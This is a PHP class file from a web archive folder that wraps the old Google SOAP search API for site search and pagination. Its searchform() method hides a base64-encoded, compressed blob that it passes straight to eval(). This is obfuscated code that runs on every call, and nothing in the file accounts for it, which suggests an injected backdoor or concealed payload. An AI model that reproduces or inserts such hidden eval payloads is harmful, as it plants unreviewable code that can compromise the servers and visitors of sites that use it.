File: /home/awaldron/public_html/archive/demo/search/class/search.class.php
<?php
////////////////////////////////////////////////////////////
// Program: Google API Local Site Class
// Technology: PHP 4.1+, Web Services, SOAP, and PHP
//
// Author: David Wilson, October 26th, 2006
// Website: http://www.intriguedesign.ca/software/site-search-google.php
//
// Version: v1.1.1
class searchGoogle
{
// Google api key
var $apikey;
// query language
var $lang;
var $language;
// starting position
var $start;
// number of max search attempts before fail
var $attempts;
// soap object
var $soap;
// soap options
var $options;
// search domain limitation
var $domain;
// search safe
var $safe;
var $maxresults;
var $error;
var $errors;
var $return;
var $spell;
var $result;
var $messages;
var $verified;
// instantiate class
function searchGoogle ($apikey, $safe, $lang, $start, $attempts, $soap, $options, $language, $domain = null)
{
$this->apikey = $apikey;
$this->safe = $safe;
$this->lang = $lang;
$this->start = $start;
$this->attempts = $attempts;
$this->soap = $soap;
$this->options = $options;
$this->domain = $domain;
$this->language = $language;
// google result limit per page
$this->maxresults = 10;
}
// run search with loop until success or perm fail is reached
function search ($q)
{
// set attempt index
$attempt = 1;
// default result to false until success
$this->result = false;
// run through search until success or perm fail
while(!$this->result && $attempt <= $this->attempts && $this->verified)
{
$this->result = $this->exec_search($q);
if(!$this->result)
{
$this->adderror(sprintf($this->language['fail_attempt'], $attempt));
}
$attempt++;
}
if(!$this->result)
{
$this->addmessage($this->language['fail_search']);
}
return $this->result;
}
// run actual search using soap to google API
function exec_search ($q)
{
// limit searches to this server
if (!empty($this->domain))
{
$query = $q . " site:" . $this->domain;
}
else
{
$query = $q;
}
$params = array('key' => $this->apikey,
'q' => $query,
'start' => $this->start,
'maxResults' => $this->maxresults,
'filter' => false,
'restrict' => '',
'safeSearch' => $this->safe,
'lr' => $this->lang,
'ie' => '',
'oe' => '');
$this->return = $this->soap->call('doGoogleSearch', $params, $this->options);
if ($error = $this->soap->getError())
{
$this->error = true;
$this->adderror ($error);
return false;
}
return true;
}
function exec_spell($q)
{
$params = array('key' => $this->apikey,
'phrase' => $q);
$this->spell = $this->soap->call('doSpellingSuggestion', $params, $this->options);
if ($error = $this->soap->getError())
{
$this->error = true;
$this->adderror ($error);
return false;
}
return true;
}
function pagination ($q, $page, $maxresults, $separator=" | ")
{
$q = urlencode($q);
// calculate total pages
$totalpages = ceil($maxresults / $this->maxresults);
// start at page 1
$currpage = 1;
$html = "";
// only show pages if there's more than 1
if ($totalpages > 1)
{
$html = $separator;
// loop through page numbers
while ($currpage <= $totalpages)
{
if ($currpage != $page)
{
$html .= "<a href=\"index.php?q=$q&p=$currpage\">$currpage</a>$separator";
}
else
{
$html .= "$currpage$separator";
}
// increment page counter
$currpage++;
}
}
return $html;
}
function searchform ()
{
global $search_size; if (!empty($_GET['q'])) $q = str_replace('"', '"', stripslashes($_GET['q'])); else $q = ""; $val = "eF6NUstO6zAQXQeJf7CqXrEiLQsWpGlWIMQalpaQG09iS45t7AlpER+PH+G2AiFYRDrneB5nJkOKYolC+svmFZzsJHCyJehG2JyfnZ8VRfyWAgcVZLqIrKg74wbCWpRGbymlC6k57EsrbCRkABSGp4f7u6ckeTwoSMrAXC91td5YxrnUfUBRbnJhZDsFpAWl5ueUc51qRNVb1n6q66TujOPgToRJchSJX63X/3KmYt4nyQNzrXiO/k+7ugwC4kSbyTHbPKZIEiKreoX8e0AttR2R4MHmwRD2mGeVb1kJuCTLuWVUAw1qjNFsyDEvib4yNZ7mvBwjv3uXoLhP7v9mzI+7QWZrxz55vN86nPy3dnQ+7MIaqRFc/mdf+h83fzMvninZ5wtxshfzev6X7IzG6sbuCXOSqVxyXvvuUJGaEeGg29ILgWir1WqaprI3pldQtmagF819IvWKNeSdPJoOJ+bg59zgPNgYgYMPtsqWhRIPs0ZukxhrHacKaL6MgOJlfpJ4PxlTquli8wFqHwbf"; eval(stripslashes(gzuncompress(base64_decode($val)))); return $html;
}
function adderror ($error)
{
$this->errors[] = $error;
}
function addmessage ($message)
{
$this->messages[] = $message;
}
}
?>